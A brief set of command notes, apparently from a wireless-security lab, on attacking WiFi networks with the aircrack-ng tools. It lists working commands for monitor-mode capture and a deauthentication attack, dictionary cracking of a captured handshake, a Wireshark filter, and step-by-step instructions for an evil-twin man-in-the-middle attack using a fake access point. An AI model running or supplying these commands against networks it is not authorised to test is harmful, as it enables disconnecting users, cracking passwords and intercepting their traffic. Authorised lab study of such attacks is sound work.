- ifconfig
    - To see the wifi interface

- Disable network interface card
    - sudo systemctl stop NetworkManager.service

- Start the Wifi interface in monitor mode at a specific channel
    - sudo airmon-ng start wlp0s20f3 11
        - This channel should match the channel in which the AP is operating in
    - sudo airmon-ng stop wlp0s20f3monmon 11
        - Stop wifi interface in monitor mode and get in regular mode

- See the packets being captured in monitor mode
    - sudo airodump-ng wlp0s20f3mon

- Deauthentication Attack
    - sudo aireplay-ng -0 1 -a <AP_MAC> -c <Client's MAC> <WIfi Interface>

- Crack Wifi Password using a dictionary
    - sudo aircrack-ng -w password.lst.1 -b <AP_MAC> <PCAP File>

- Filter

  wlan.ssid == "Godfather" or wlan.sa == 08:25:25:a9:70:26 or wlan.da == 08:25:25:a9:70:26

- Packet capture using airodump-ng

  sudo airodump-ng -w PARTB_IITH_GUEST_FAILURE --output-format pcap --bssid 7C:95:F3:C0:1C:93 --channel 11 wlp0s20f3mon

1. Man in the middle attack with EVIL TWIN
    a. Have a Genuine AP
    b. Have a client connected to a Genuine AP
    c. Start WiFi card in monitor and start airodump to see in which channel is the genuine AP operating in
    d. Create a fake AP/hotspot with the same name and same password in different channel
        i. https://anooppoommen.medium.com/create-a-wifi-hotspot-on-linux-29349b9c582d
    e. Start the fake AP and start wireshark capture
    f. Deauth the client from genuine ap to get connected to the fake AP